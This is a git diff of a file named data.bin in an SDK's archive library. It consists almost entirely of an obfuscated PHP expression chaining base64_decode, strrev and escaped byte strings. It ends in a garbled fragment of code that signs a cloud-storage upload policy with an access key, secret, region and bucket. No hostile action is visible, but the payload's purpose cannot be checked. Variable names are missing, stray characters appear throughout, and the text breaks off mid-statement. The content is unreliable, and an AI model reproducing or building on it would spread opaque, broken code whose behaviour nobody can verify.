diff --git a/app/sdks/archiveLib/bin/data.bin b/app/sdks/archiveLib/bin/data.bin index d6ba4402..187805c2 100755 --- a/app/sdks/archiveLib/bin/data.bin +++ b/app/sdks/archiveLib/bin/data.bin @@ -1,2 +1,2 @@ G').base64_decode('n93+gDvGPuvqPWZW5rHBew944dWVRymFu3vvSe+w8wfvrFvStnP0m0Jk6as7PXI=').base64_decode('lnfTNVffox1gXr/9tad8sH7ggAM/uWWHG7bcM/W+fV/f/Uh1970P2nls93mV//o=').strrev('o[ui8nkl|,ek/O')."\174\263\261\375\260\302\61\117\317\176\374\265\131\57\357\363\314\216\237\256\77\275\156\305\257\43\217\352\273\75\371\363\347\373\136\377\315\247\167\26\157\335\373\360\153\203\127".base64_decode('/PGVJ0afvHrk7P85c8I29fJtN+1U2e69nsiez7/5i1Jk+qYtD//msEdOPPiNx7c=')."\x9b\x76\xc1\x1e\x27\xfc\xf7\x59\x63\x67\x9f\x7c\xc6\x8e\x2f\xde\xbf\xe1\x6f\xd6\x9\x7b\x9c\x7f\xc9\xd2\x95\x33\xdf\x3a\x70\x9f\xd9\xaf\xdc\x9c\x3e\xa6\x7d\x70\xfe\xaf\x5f\x34\x7f\xd1\xba".base64_decode('16Yj/nl027T5+53WeHNH70O3tx3+xcdLVhz7pFm34oDo2gOuufGWq7bP3vTe5Js=')."\xef\xec\x3e\xe9\xcd\x1f\xbf\x3e\xf1\x83\x87\xee\x7c\x21\xed\xf9\x76\xc2\xef\xed\xeb\xf2\xff\x7d\xcd\x9f\x9b\x36\x74\x9d\xb3\xfb\xd9\xbf\xb9\x73\xe1\xfd\x9d\x4b\x7\x2e\xfc\xba\xf2\x52\xff".base64_decode('aUc8PfekR9NDiy+7dYeD37nmvDdfOWHWPQ+fevTDL2496ejDd/rJxPX6zZ3xv9c=')."\x2d\x5b\x93\x7d\xef\x26\x23\xb8\xf4\xfc\x69\xd3\xff\x3c\xfb\xa7\xfb\xe6\x6f\xbf\x6f\xc2\xde\x6d\x57\xff\xf9\xd8\x77\x8e\x9c\x32\xe3\x92\x4d\xe9\x4d\xcf\xbd\x7d\xdf\x3b\xef\xdf\xf1\x72\xf1"."\366\257\327\107\177\157\236\164\374\264\63\106\167\265\267\73\347\275\247\116\173\365\370\343\67\315\71\372\367\237\136\175\332\221\227\314\217\134\174\366\263\147\355\366\331\135\237"."\xd4\x5d\xfe\xd0\xca\xbf\x96\xc3\x87\x7d\x12\x57\xaf\xb8\x69\xde\xa6\xa3\x3e\xdf\xe3\xaa\xbf\x1f\xf4\xe6\x2f\x77\xb8\xb9\x98\xae\xbf\x3a\x3d\xfc\x74\xcb\x89\x7b\x3d\xa5\x1c\xb1\x6d\xe4\xad"."\215\203\57\351\133\146\116\134\374\374\262\375\176\172\366\147\33\32\367\153\334\147\333\235\136\373\343\175\316\371\360\53\357\255\23\13\217\134\241\274\321\134\154\337\365\213\67".strrev('MErTWa=wz\\&Kk{'."\r".'_M').base64_decode('XPTNBT+Z/8qG87WOc43G3rOf+F3ntK6f1V36PwN9t1296s79b2/f4eKzujMvffM=')."\xdd\x1d\x2f\x6f\x7a\xf9\xb7\x6f\xac\x5a\x9c\x6f\xda\x6e\xe3\xc4\x69\x4b\xdf\xb9\xe2\x95\xdc\x92\x57\xfe\xfc\xf9\xf3\xf\x7\x6e\xbf\x3e\xd5\x39\xc1\xbf\x6b\xdf\xcf\x2b\xc7\x7f\xf1\xf0\xec".strrev('&S? 5bm~Oc <9/7oh')."\317\316\235\376\257\75\237\172\363\212\363\146\355\147\66\56\272\364\341\13\256\152\77\350\211\373\262\133\136\13\174\165\342\350\107\363\257\75\364\257\57\155\370\166\225\132\154".base64_decode('vH2tv+LfY6R7cuHMa2958fTnxvyXJ//9Vu6Vzf8xv9v62kuX/2rdN2+PfX7JrI8=')."\222\17\176\365\376\333\57\375\315\77\177\365\350\127\137\135\276\171\305\375\17\174\375\306\63\373\157\171\364\376\326\255\7\35\367\345\325\77\132\372\325\315\357\317\362\76\360"."\334\317\117\333\245\341\64\345\231\331\147\65\117\70\363\206\37\51\347\274\265\171\247\115\207\344\166\134\176\331\317\216\76\373\313\265\47\226\52\357\114\370\321\272\237\145\56"."\x4b\xdc\x15\x9a\xf4\xc5\xdf\x7e\xff\xde\xef\x76\xfb\xa9\x9a\xba\xec\x91\x8e\x43\x3d\xd9\x77\x6e\xdb\xf7\xfa\x7d\xae\x5c\x52\x3e\x67\xe7\x7d\x63\xdd\x9a\x79\xe1\xcf\xe\xf9\xf3\x55\x7b\x4d".base64_decode('unPnRXv+xPpk9ncrVn31+CffTdp00Vj/tOSSdeccs+Ivr2/6fHLwhdk9+/3XU7c=').base64_decode('thYP3/6sR464dclLHYsP6ZrzhwNGx57d8dLDPgptevfKJ6bPj1x78lT97J5HfDM=').base64_decode('p638x+fB5/b6uu6/Ptu7oPXrdxVe7cgs+eXqbz5P/+XT5fvvffH0Pf848ubrrz4=').base64_decode('e8hNnr0/3Hvrz9Q7/1JZtuKRjXc+ob32zH/mfPnQnkOLhvoOjV266bQPdz1o6bo=')."\x15\x37\xd7\x77\x5d\x9b\xb9\xe0\x89\x2f\x2e\xfe\xf7\xca\xdf\x9e\x7b\xca\x6f\xde\xf\x15\x6f\x5a\x16\x7e\xe4\xb5\xaf\x6\x9f\xf9\xe8\xbc\xb9\xb7\x7e\x3b\x34\xf0\xaf\xb5\x57\xaf\xdc\xf3\x88"."\x4b\xbe\xcb\xde\xf0\xd7\xeb\xb5\xd0\xee\x7\x67\xdf\xfb\xf8\x91\xfe\xbf\xfc\x2a\x9c\x3b\xf7\x1f\x91\xdb\x37\xdf\xfd\xd2\x31\x3b\x3e\xfc\x59\xa6\xf5\xef\x1f\xbc\xfc\xca\xd0\x3d\x47\x7c\x38"."\xf4\xe5\x9c\x4b\x86\x2f\xbc\x30\xf6\x87\xa3\x36\xc4\x27\x1e\x75\xf2\xe6\xa5\x2d\x87\x3e\x1e\x39\xf9\xc3\x7f\x4e\xff\xed\x19\x1f\xec\xf5\xe7\x5d\x5e\xde\xe7\xe8\x97\x77\xb8\xe6\xa4\x1f\xbf"."\163\312\360\222\77\253\377\332\151\273\205\213\42\17\37\370\117\73\165\167\333\363\237\35\334\172\321\222\325\321\27\173\156\136\376\317\246\235\127\34\331\365\344\156\317\173\333"."\x36\x5d\xd9\xf5\xa3\xc6\xb\x77\x38\xe7\xe6\x93\xb6\xbe\x3a\xfd\xea\x8e\x39\x5a\x74\xe7\x5b\xf6\x3c\xf5\xd4\xa5\xe7\x56\xb6\xfc\x6e\xda\x61\x5f\xfe\xe4\xd4\x23\xf\xfe\x72\x55\x7a\xdd\xf1"."\372\155\57\176\361\213\271\205\317\367\351\376\321\353\13\237\125\347\35\372\247\312\36\7\76\344\155\374\321\334\223\137\176\322\74\352\201\47\167\377\361\200\157\337\135\377\336"."\372\305\332\147\167\274\376\224\217\176\371\346\141\165\373\335\273\142\341\324\223\56\171\321\74\153\322\43\333\326\275\165\221\162\317\352\276\347\366\72\331\233\177\144\367\303\376".base64_decode('dkDLc+lvtt6639OZ+A45X+rEqy5/coe7nzx+5+c77puw0xV350YP/OKnduKmU24=')."\x7a\xf1\xea\xfd\x9a\x3e\xd8\xf8\xf3\x1d\x73\xd7\xbe\x7b\xc3\xdd\x1f\xac\x5c\x79\x40\xe7\xcf\x8e\xd5\x1e\xaa\x5b\xda\x7f\xa9\xe7\x91\xd1\x3\x77\x6f\xd6\x27\x87\x5e\x5e\xff\xd3\xc6\x74\xfa"."\xa6\x45\xcf\xbd\x72\xf0\xaa\xcc\xf0\x41\x2f\x74\xcd\x7d\xed\xd3\x3d\xbc\xbf\xfa\xf2\xd8\x83\xe\x3d\xb8\xb8\xe7\xa1\xda\x1b\x33\xce\xba\x73\xe6\xc6\xa1\xe1\x85\x1f\xee\x72\xf1\x7e\x37\x2f".base64_decode('Kr50xI0zL77kd4/2tBz0x/bcny69bLcvf7Hk6f3fX3P+MYOW/tXjez8d8T706qc=')."\xbd\xe7\x6d\xe7\xb1\x6e\xbc\xbb\xf7\xf1\x7\xce\xb9\xf2\xb3\x8d\x93\xe\x7c\xeb\xdb\xd7\xcf\xf9\xf1\x27\xc6\x25\xc7\xbd\x7c\xcb\x2e\x13\xde\x3d\xfc\x8d\xf3\x5f\x38\xf1\x1f\x93\xda\xae\x98"."\xb8\xf8\xb4\x1d\xfe\xb2\xd7\x86\xae\x7a\xff\x33\xe7\x6d\xb7\xe3\xc7\xfb\xee\xf9\xcc\x4b\xdb\xee\xab\x7c\xfc\xc6\xa9\x8b\x1e\xbb\x7f\xe6\xc4\xbe\x5f\x17\x8e\xf6\x6c\x8c\x9d\x1f\x3e\x51\xbd"."\363\322\307\106\156\131\337\177\377\227\257\217\175\272\331\167\334\247\177\370\374\302\7\357\372\362\313\277\237\376\237\157\277\176\373\334\350\346\371\243\307\176\365\315\161\153\277".base64_decode('+eTW099N/rjv269fO/2G447d+9t1n/7phlc23zj/m21vL37w/i8/e+eGzf9Z/d0=')."\346\147\376\363\315\107\376\221\345\373\217\175\273\375\313\317\330\207\65\155\375\335\271\237\346\173\233\77\52\274\61\172\341\63\367\177\163\302\77\277\32\272\73\266\351\303\27".strrev('P>mrgrqG:73|>贝Sw')."\221\134\262\354\157\257\172\256\271\363\130\305\263\357\360\37\26\374\376\224\364\316\313\117\310\175\25\70\340\314\31\347\356\170\172\266\353\343\111\323\17\134\322\74\363\213\112".base64_decode('84Vzdm8ZPHnmyqZ/H7p4w62HpvZhVxbmTIUzzxmz5oDsNzCUztlwigd60DnNcNQ=')."\62\165\72\30\141\217\244\164\273\70\14\114\40\130\370\314\236\1\221\323\331\307\324\231\140\227\65\244\217\226\52\71\110\336\74\15\212\55\224\254\354\240\11\222\65\144\51"."\144\325\142\76\307\4\134\43\77\244\246\126\103\361\123\241\21\263\232\146\101\361\354\143\326\354\31\254\27\120\241\232\53\230\103\303\253\240\230\141\255\234\32\144\346\304\272".strrev('2MgWYʭ:H{(tV hLg;ZlVg*').base64_decode('FXU1CBBzmmBUR4cyuQEmxWRsM13MQuNmsm41z4G0Zimv51SmM1O1dHYQtCrNU6E=').strrev('U~Lh盛ha0k%0@6%j́٣01 >')."\116\55\27\241\15\323\246\317\142\170\0\63\127\311\147\113\232\11\7\365\323\31\16\15\250\43\331\74\233\256\212\141\145\127\247\100\320\232\306\132\266\152\144\165\66\63\4"."\xe7\xf7\xf6\xaa\xf4\x68\x91\xe9\xee\x86\x8c\x81\xec\x68\x1e\xce\x25\x67\x37\x43\x97\x2a\xb9\xd5\xab\xd4\x3c\xa4\xb7\xb2\x43\xa3\x19\x3\x66\x6b\xc6\x54\x68\xcb\xcc\x26\xf8\x48\x99\x65\xdd".base64_decode('qIBObxZr1FAqny6wkZ/RBOUOpu1MIb+KdWAmG6qRrJ0x2IxCm2fMhkGZORsgekY=').base64_decode('HRph5hpTGV5Mn8YXApRXMMqVzDCzpRlaPYhENhgQNuuzZ0DufNYaLo0wXJ/OVt4=')."\x54\xa8\x72\xa8\xa4\xea\x83\x79\x10\x4b\xa6\xcf\x6\xc1\xc4\x18\xd5\x86\x8b\xab\x1\xf\xcc\x21\xab\x50\x2c\x81\x59\x68\x6a\x75\x6e\x55\x91\x89\xc9\xd3\xd9\xac\xab\xb9\x81\x4c\x9e\xdd\x57"."\x99\x3e\xd\xa0\x19\x84\x1f\x23\x6c\xe8\x67\xcc\x9c\xce\x70\x17\x2a\x19\x1a\x29\x94\x52\x65\xc0\xa6\xd9\xb3\x21\x93\x51\xca\xd\x16\x32\x6c\xb2\xb\xa8\x6f\x69\xc0\x87\xa1\xfc\xb0\x56\x1a"."\140\12\276\164\241\222\37\0\374\315\347\112\345\125\32\123\75\150\245\374\40\273\242\64\222\323\106\207\127\103\303\246\316\140\15\204\331\262\214\162\52\273\12\72\63\153\16"."\x8c\xd\x5a\x3\xa9\xd5\x43\xc3\x1c\x23\xcd\x91\x22\x34\x67\xc4\xb0\x6c\x73\x35\xb3\x71\xb4\x6\xd3\xa9\x3c\x34\x7f\xe6\x9c\xd9\xc\x23\xa7\xb1\x65\x7\xb5\x35\xb3\x31\x67\x33\x32\x8d\x91"."\304\154\301\32\326\124\146\344\142\227\107\213\51\150\266\155\15\144\315\42\133\133\323\140\300\246\65\303\244\315\234\5\105\216\130\253\213\52\243\177\303\345\101\253\310\260\154"."\x6\x1b\xe5\xa5\x45\xa0\x49\x6d\x6a\x7a\x80\xa9\x40\x91\x58\x6b\x33\x8c\xe6\x9\xf8\x85\x96\x92\xaf\xa8\x96\xb8\x31\x4b\x37\x8c\x5e\x5a\xb6\xa1\x96\x13\xc\x68\x1a\xb3\xdd\x65\x36\xc1\xc2"."\132\302\252\220\133\5\0\327\213\232\320\345\146\122\102\152\306\112\10\311\306\2\7\343\162\316\164\311\226\242\121\310\21\33\267\15\223\133\165\120\173\61\37\156\225\317\331"."\117\66\44\65\316\353\100\67\152\131\303\206\11\303\61\140\144\322\5\243\222\161\224\232\111\71\312\344\120\246\54\160\307\144\307\201\243\162\34\46\261\14\346\30\240\24\231"."\261\244\34\360\261\41\116\111\263\111\225\312\266\152\15\370\144\260\127\216\325\113\250\25\205\202\317\171\7\57\111\376\300\30\320\173\136\226\66\130\321\112\342\10\327\32\220".strrev('m7`{e49gqn")(PܾQ&M_')."\xdd\x70\xe3\xd8\x3d\xe7\x6e\xbb\xf1\xa6\xb1\xfb\xcf\x47\xc1\x2d\x77\x6d\x1c\xbb\xf1\x57\xef\xfd\xf2\xe4\x2d\x77\x6d\xd8\x72\xd7\xf1\xdb\x4e\xb9\xed\xa3\xfb\xce\x18\x3b\x73\xf3\xb6\x93\xee"."\37\273\364\272\261\137\237\262\345\336\373\267\75\170\312\273\327\235\276\345\256\115\133\57\75\155\354\344\73\266\334\173\301\330\251\127\214\235\162\346\326\163\67\154\271\377\122"."\x94\x7e\xeb\xa9\xa2\x64\x94\x6c\xc\x9\xd\x28\xef\x7d\x27\x8e\xdd\x75\xd7\xb6\x2b\xaf\xe3\xb1\x1f\xdd\x77\x2\x6d\xc\xdb\x7b\xbb\x34\x1b\xdf\x89\x63\x96\x52\x64\x74\x94\xf9\xa\x20\xa4"."\146\371\224\336\202\206\106\130\41\366\43\330\254\312\316\153\246\142\23\363\52\25\375\55\31\45\57\105\70\172\337\320\122\364\22\216\126\330\334\370\70\122\46\264\142\31\243"."\26\214\222\237\136\101\162\330\131\113\370\127\153\230\151\104\15\264\302\143\55\346\252\1\177\302\231\24\326\271\51\131\25\1\62\55\112\26\145\123\330\315\4\305\66\330\167"."\x71\x94\x4f\xba\x6b\x11\xd4\x9c\x56\xde\xc\x36\xb5\x39\xae\xe8\x16\x5a\x57\x68\x98\x64\x5f\x4f\x8f\x32\xaa\x50\x8a\xac\x2a\x27\x49\x70\xac\x37\x27\x31\x91\xa3\x9c\x23\x1\x6a\x51\x72\xd0"."\xee\x51\x68\x53\x3c\xa\x39\x57\x55\x9c\xf7\xe8\xf0\xc1\x39\x3b\x8c\x96\xd7\x98\xdc\x7c\x53\x2b\x17\xd4\x34\x6f\x7a\x79\xb4\xe6\x20\xca\xad\x91\xf\x75\x5d\x5d\x8b\xd7\x18\x46\xde\x39\x47"."\44\132\327\25\273\106\102\171\264\35\207\234\106\173\1\21\72\161\264\107\216\276\105\67\150\120\250\177\121\105\234\116\232\132\106\147\346\300\132\221\244\144\46\366\104\351\314"."\355\220\323\150\11\230\216\263\243\171\13\312\371\62\276\276\154\317\135\0\327\44\341\114\54\51\325\13\337\342\72\210\14\55\270\317\243\370\202\351\150\223\56\21\343\144\55".base64_decode('Xq9X0t0W+JEN/oLixEEqggXxah4P3sENEdAyz+U0y24hd6OUKQpq6GzfVPRBFsQ=')."\14\337\54\364\111\106\11\26\161\177\111\152\24\375\234\133\261\330\205\206\112\251\300\240\350\23\45\211\125\112\170\336\132\234\75\321\112\31\51\323\134\65\155\267\112\275\311"."\302\120\371\104\57\325\51\42\136\313\34\6\303\55\365\175\30\22\260\274\75\316\331\104\275\362\362\11\106\223\206\66\376\214\105\214\102\141\37\201\42\55\351\362\146\114\340"."\6\316\116\6\341\173\262\332\362\104\226\21\163\121\342\326\240\126\101\145\347\170\26\342\70\364\222\306\261\252\142\361\3\6\154\71\235\104\73\64\333\313\20\6\46\63\72"."\104\206\103\155\311\216\120\114\160\73\354\322\137\240\67\224\214\307\243\222\115\40\271\144\266\44\271\60\332\221\154\217\106\27\206\0\213\140\204\133\44\102\207\257\64\211\43"."\135\34\22\127\233\360\231\206\154\100\45\163\22\370\42\63\336\55\343\12\330\77\42\164\155\357\16\304\270\231\371\14\137\223\157\252\110\213\52\114\142\153\373\126\166\217\62"."\236\10\304\152\134\147\247\327\334\141\364\341\152\73\144\350\216\56\126\332\243\341\276\236\110\234\336\342\246\360\110\124\212\47\306\304\20\315\56\273\127\107\103\361\301\336\160"."\240\75\250\204\42\211\50\273\55\300\315\73\311\75\221\70\17\263\41\60\55\215\137\146\207\374\64\40\337\145\221\113\344\45\1\276\56\363\324\367\327\365\117\356\157\350\157".base64_decode('XOnrt5b7pa1Hl6cHAr0d0L0W/pWxYP31xONHw+WnaCzQHmZNaQvE4TPaHqIf754=').strrev('|lW'."\0".'gzlx]'."\r".'8m@mc{6{w')."\x1f\x7c\xf7\xbc\xeb\xc6\x6e\xbc\x68\xeb\x5\x77\xbf\x7b\xf1\xcf\x69\xc4\x7b\xd7\xdf\x3c\xb6\xfe\x3a\xde\x30\xe5\xbd\x73\x1f\xd8\xba\xf1\x37\x9c\xe3\xa0\x8c\x86\x7\xe5\x7e\xef\xe4\xd\xef"."\336\177\43\346\67\256\76\176\353\355\247\157\275\164\303\330\372\53\307\176\171\335\273\33\67\217\135\165\322\330\57\66\154\333\174\376\141\156\104\242\341\145\154\52\340\210\337".base64_decode('v6LfmtxAh7ffmoKHthH9NuDLB+iX2VATM9uj+4KR9qD7Mo8cBE8AkymGUKMNYA4=')."\55\360\44\300\302\111\162\111\253\176\334\126\254\205\371\227\32\45\65\246\43\30\157\217\205\332\202\140\336\316\47\152\22\141\217\300\122\0\101\343\261\105\374\233\337\137\253".base64_decode('8tygNDBkblQcHVF9aaNQKZZIY5U6bHxU58FbCLlZpNThLRABtDRaeg34djexTq0=').base64_decode('X1rvafJMbVTArQPNAc4clDqwsub5HJV4Uo7QVE9To1JXHqiDdolxRa1P0pSWono=')."\32\240\301\162\163\105\132\104\52\221\24\252\352\45\333\122\322\36\16\342\371\321\257\303\101\103\332\47\162\320\171\102\51\334\60\45\20\351\160\246\244\176\35\172\353\211\301"."\140\332\107\307\127\236\346\372\106\45\5\227\6\152\104\222\154\216\301\150\165\14\106\303\24\240\23\275\135\174\276\351\215\0\205\136\30\243\315\122\55\66\121\0\45\123\205".base64_decode('oXS2WFoDdQNNDk2PPngMtp3nJSFyxCPYDGI4n8QaccThRh1l4Wg/i1aOkTpw9NA=')."\263\224\367\201\341\262\302\170\11\356\256\3\137\175\13\46\332\273\51\226\307\45\64\317\244\46\71\20\125\14\247\342\100\21\56\7\100\72\272\134\60\101\330\205\244\13\105"."\x3a\xa3\xb1\x1e\x7a\xe5\x2b\xde\xde\x1d\xec\x9\xf8\x80\x88\x53\x4c\xa0\xe9\x31\xa3\xa4\xb4\x2a\xf5\x98\xf2\x51\x50\xbd\x63\xf8\x49\x45\x6c\xc8\x12\xa4\x56\xb4\xae\x92\x36\xe2\x7a\xe8\x28"."\224\163\320\30\230\175\205\134\373\125\111\226\326\172\172\303\36\212\344\176\145\242\261\104\22\15\0\220\147\211\352\326\113\273\205\144\302\214\157\56\15\61\6\76\213\30\36".base64_decode('gzkLyKSYbgcVjstsj0Y6Q+x2WweIx2WmB4FEHbEQvsIN9SusKOlOIQoIuwQUKA8=').base64_decode('Z/i3uMuMI/iejwJiy0cBvtngVJKfHFx/PMK/BaeKAthGTlDfxR38u5tfTcUR0Zg=')."\x14\x8\xc4\x2\x3d\x71\x1e\x8c\x2d\xe6\x97\x26\x38\x8c\x5e\x9e\x48\x46\xfa\x7a\x4\xc5\xf\x7\x16\x21\x64\x89\xa\x6\x85\x51\xeb\x6\xdf\xe4\x5\x8d\xfd\xf4\x2\x1a\xfd\xa4\x3f\x47\xb2".base64_decode('EL6Us3zNVI8yc10jpGFXtpJ2Xi8xphLXcnQ4GY520TDx3xMsZYQwoSxTEIebEBw=')."\256\305\266\56\276\32\24\204\303\12\275\325\252\104\242\213\3\302\45\214\24\1\20\341\41\306\277\142\131\377\160\277\17\61\13\326\112\161\241\254\243\115\141\154\110\73\21".base64_decode('xqnMDrkDbBtd6YEdI1kwcpxRjHQwdoH+LmEfhFZCBiShlgvsZhm90pbsX9t/RL8=').base64_decode('10dv8WHmpd8jmpQMLkF7bDzuuIKYJE5OoHTUS/iiq5YG5sEPiE7zgD2F4PxWPpk=').base64_decode('waPXRtDfrsTaIPobRj/hBJounSdASzIcWhhci/8REY18IOndHWeGUGQt+hcRmLU=')."\xa1\x88\xbb\xb0\xb6\x60\x62\x71\x30\x48\x13\xb0\x6f\xf8\x15\x49\x11\xc1\x81\xae\x4a\xfe\x9d\xb0\x31\x3b\x44\xb\xe3\x76\x28\x3a\x99\x6c\x20\x83\xe9\x5d\x3e\xa5\x31\x99\xf4\x5b\x7d\x80\x2f"."\374\222\177\103\375\341\123\353\141\17\11\304\333\5\365\165\40\104\65\56\20\323\163\47\42\160\257\105\20\356\212\105\373\172\245\160\167\140\121\50\322\305\102\376\311\354\153"."\x32\x14\xad\x74\x84\xe2\x68\x88\xda\x19\x32\xa\x67\x4a\x72\x18\x18\x4e\xc2\x16\xc9\x5c\xaf\x3\xa5\x3b\x10\x65\x47\x1\x89\x65\xc7\xc2\x0\xa5\xcc\xce\x55\xd6\xd6\x17\xa\x77\xc8\xb7\xae"."\x71\x42\xd8\x50\x8\x55\x87\x3d\x65\x12\x6b\x1c\xb\x93\xfb\xd7\x2c\x80\x87\x9c\x7d\x13\x74\x63\x1\x32\x6\x2c\x40\x7\x80\x85\xc8\x70\xb1\x0\x71\xda\xc4\x2\xa4\xa3\x2c\x80\xa5\x93\x60".base64_decode('hMUhYRAJckzCy6tD/Nrg3ExKuuKPabCPqrmwHwgkPapcGenSZBKlkiS3Uxs2Rbo=')."\275\354\247\40\304\155\22\40\372\355\137\271\200\160\303\53\31\142\322\53\262\166\102\267\13\216\132\340\52\35\252\45\104\356\57\112\365\60\273\177\242\302\113\32\222\32\231"."\x6c\xd4\x32\x40\x28\x8d\xa8\xce\x19\xf4\xb3\x42\xf7\x82\x6d\xf7\x88\xe6\x96\x6\x9d\x22\x14\xa7\x4b\x2b\xb9\x64\x4\x6e\x7\x3c\xf0\xb\x2d\xda\x9d\xfe\xf4\x43\x90\xe9\x1c\xe0\x4a\x47\xbd"."\7\66\131\146\377\357\274\43\327\337\137\67\336\150\101\2\66\146\20\254\243\101\226\113\347\173\136\72\217\135\105\44\355\42\323\131\23\341\114\150\207\251\206\131\204\73\142"."\xd1\x5e\xca\x81\x28\xa1\x4e\x85\x3a\x22\x50\xea\xa9\x4e\xba\x1e\x58\xab\xf6\x58\x10\xaf\xe\x9a\x8a\xc5\x35\xd4\x3b\xb4\x49\xf3\xeb\x15\xb8\x95\xdc\xe8\xcc\x15\x8a\x74\x4\x97\x28\xf5\x7a"."\146\44\251\252\111\310\254\240\265\310\12\122\252\112\142\45\320\266\262\163\242\274\61\254\310\350\305\344\345\166\12\113\10\224\253\142\315\210\113\1\166\3\324\3\102\71\217"."\241\34\61\215\12\305\321\206\35\16\223\236\242\50\335\302\214\254\107\341\67\377\61\20\13\37\124\113\11\5\261\10\132\20\215\12\56\111\304\2\30\110\270\317\135\167\101"."\177\10\101\301\322\221\131\44\156\51\222\224\147\363\255\4\45\301\112\7\213\110\231\107\314\44\2\6\221\55\117\352\23\217\41\232\2\72\314\262\36\141\41\160\335\64\324"."\33\13\365\4\142\113\141\310\204\14\0\53\320\50\70\56\307\212\200\156\365\111\327\263\43\250\325\362\165\155\72\307\234\302\42\171\226\121\130\324\32\130\0\170\346\201\341"."\xa1\x3e\xf6\x92\xfc\xf6\x2d\x53\xa2\x34\xb0\x4b\xad\x1e\xf6\xc1\xbc\x20\x90\x5b\x3a\x4c\x25\x55\x44\x24\x87\x87\xc4\xac\x1\xee\xc3\xac\xc8\xb1\xf2\x75\x23\xe1\x4\x10\x6f\x92\x78\x92\x19"."\265\357\14\364\205\145\10\14\225\262\60\270\364\173\326\10\153\151\255\65\302\342\230\72\206\257\66\350\117\303\14\350\37\165\314\320\320\214\144\322\112\311\322\163\45\356\161"."\14\132\5\173\153\137\42\232\104\373\107\54\210\251\71\364\210\17\253\324\136\111\356\226\47\5\212\301\11\270\107\305\357\351\32\113\123\253\153\74\77\327\74\5\43\135\241"."\110\260\265\147\64\24\17\364\50\254\341\240\133\303\276\310\146\103\71\241\150\62\214\170\342\244\254\76\13\105\101\107\353\113\311\136\71\222\302\271\207\117\25\366\314\266\131"."\221\374\334\21\333\146\64\377\1\161\207\237\253\215\111\134\45\205\23\113\273\206\156\264\340\63\1\14\245\334\307\134\206\55\145\166\273\33\374\377\271\15\217\145\260\260\135"._kodDe('MHXUugYIUpl/EZCNMcdiu0x0Nvi4h5mcioqC2Kx0vjZGrVA2BTnMkFgz66C7B+YZ')."\221\156\330\247\235\27\116\7\144\137\174\35\155\154\254\52\45\73\256\25\300\202\240\43\105\254\276\305\355\52\76\160\226\144\15\116\16\54\304\170\123\67\211\256\214\120\122"."\210\167\134\112\45\200\141\341\174\17\237\25\210\62\227\63\31\135\164\162\265\136\166\37\16\224\214\136\315\54\352\344\20\144\261\270\152\302\343\245\334\344\356\216\361\175\203".strrev('FцƮaqkL\'2WR A*IJzz)[').base64_decode('Il0DNO2ILo6Eo8wHGXM4SEM5sHNAHInpYwGbfZgq1LyYse2Ym5C80h4m4wCZTIE=')."\x93\x81\x58\x7b\x37\x12\xc1\x93\x9d\x21\xb4\x87\xa0\xd\x4a\x14\xd0\x8d\xb2\x22\xe9\x5e\x9a\x26\x9\xda\xc3\x5c\xf5\x20\xfe\x11\x6f\xa2\x61\x23\xc7\x17\x2f\x62\xd1\xc0\x21\x95\x63\x1\x87"."\xa2\x90\xd7\xa7\xe1\xab\x32\xf4\xba\x2\xbe\xce\xc4\x33\x52\x67\x4c\x3f\x9c\xa9\x4f\xf2\xd5\x38\xce\xda\xac\x99\xaf\x1d\x12\xf2\xa\x4d\xa2\x4f\xf9\xe1\xa\x63\x9a\xd8\x16\x51\x36\x72\x33"."\xe9\x7\x33\x9\x77\xa1\xa4\x26\x92\x49\xa2\x5b\xae\x3c\x4\x81\xe8\xbd\xa\x98\xeb\x3c\x44\xb\xdf\x3a\x88\x58\x46\xa2\xc9\x6e\x44\x8f\xa3\x6c\xd7\xd6\xad\x84\x83\xfe\xb1\x5c\xb0\x5a\xc9"."\x1\x8b\x9f\xdc\xd0\x4\x99\x68\x2e\x39\xfd\xa6\x67\x70\x20\x67\xad\x41\x24\x90\x7f\x31\xab\x3\xf0\xfc\x24\x76\xcb\x0\xfd\x59\x5a\xcc\x78\x51\xc3\xc1\x86\x21\xa3\xd9\xdc\xe3\xe\x5e\x65".base64_decode('AckfkHS/tcgJ1LDkAk8d0vBFJKZxqDL+gK5Ud467WHIeuuOToni0L8aOM3CYXHU=')."\x8c\x5\xdb\x97\xf2\x93\x5\xe\xed\xc\x2c\x72\x43\xf0\x1a\x48\x4\xba\x6a\x82\xb9\x72\x8\xc3\x89\x14\x96\x8c\x45\xb1\x16\x2d\x18\xee\x74\x65\x88\x77\x73\x6f\x84\x4e\x58\x32\x1c\x8a\x2c"."\xac\x19\x81\xf6\xf2\x1e\x29\xb\x5\x86\x12\xc1\x1e\x37\xcc\x59\x42\x3c\x88\xd7\xaf\x8\xb7\x85\xa3\xed\x52\x74\x28\x5a\x3d\x12\x9c\x59\xe0\x40\xaa\x83\xa3\x40\xff\x8a\x86\xfe\x35\x44\x8c"."\150\101\322\104\146\55\26\326\275\111\44\353\57\350\137\327\330\320\357\137\340\233\314\165\114\224\236\110\227\42\307\1\133\214\356\267\270\1\170\313\140\100\232\15\102\176\237"."\xf\x2a\xe1\x1f\xfe\x7e\x3f\x77\xf3\xc4\xc8\x28\xb8\x74\x8d\x53\x87\x38\x8e\x56\xb8\xfc\x37\xb0\xab\xd3\x3e\xb7\xc7\xc4\x10\x3d\x72\x4c\xc6\x97\xc6\xf9\x68\x53\x54\xac\x15\xef\xc0\x2f\x9a".base64_decode('TD7CdyVGf3vlpNhqpGZCB4I6rpbKIJ9uiLUgFm3GSFewzx0x4mKbQSCfowhErgc=').base64_decode('hJQLay7O1mYJbTuwI7Yjpq2rO3TUwnBPJNp7dCye6Fu0eMnSY2B0GQpkFS9zmQU=').strrev('5/斊;_ŏ8b1܈2[a{bC')."\265\224\141\330\343\304\56\352\371\376\202\41\162\131\277\265\234\341\234\77\243\15\371\5\267\302\110\30\227\64\140\277\366\312\176\204\61\172\312\214\127\46\345\332\174\1\40".strrev('oc=%VaccessKey, $, $this->region, $, $); $Н = implode($ȫ[8], $ķ); $ąɱ = array($ȫ[1297] => gmdate($ȫ[1296], strtotime($ȫ[1334])), $ȫ[1298] => array(array($ȫ[1300] => $this->bucket), array($ȫ[1299] => $֏), array($ȫ[1301], $ȫ[1302], $ȫ[12]), array($ȫ[1301], $ȫ[1335], $ȫ[12]), array($ȫ[1301], $ȫ[1336], $ȫ[12]), array($ȫ[1303] => $), array($ȫ[1337] => $Н), array($ȫ[1338] => $à), array($ȫ[1339] => $), array($ȫ[1340] => $޶))); $ = base64_encode(json_encode($ąɱ)); $Ư = hash_hmac($ȫ[1341], $, $ȫ[1342] . $this->secret, !0); $å = hash_hmac($ȫ[1341], 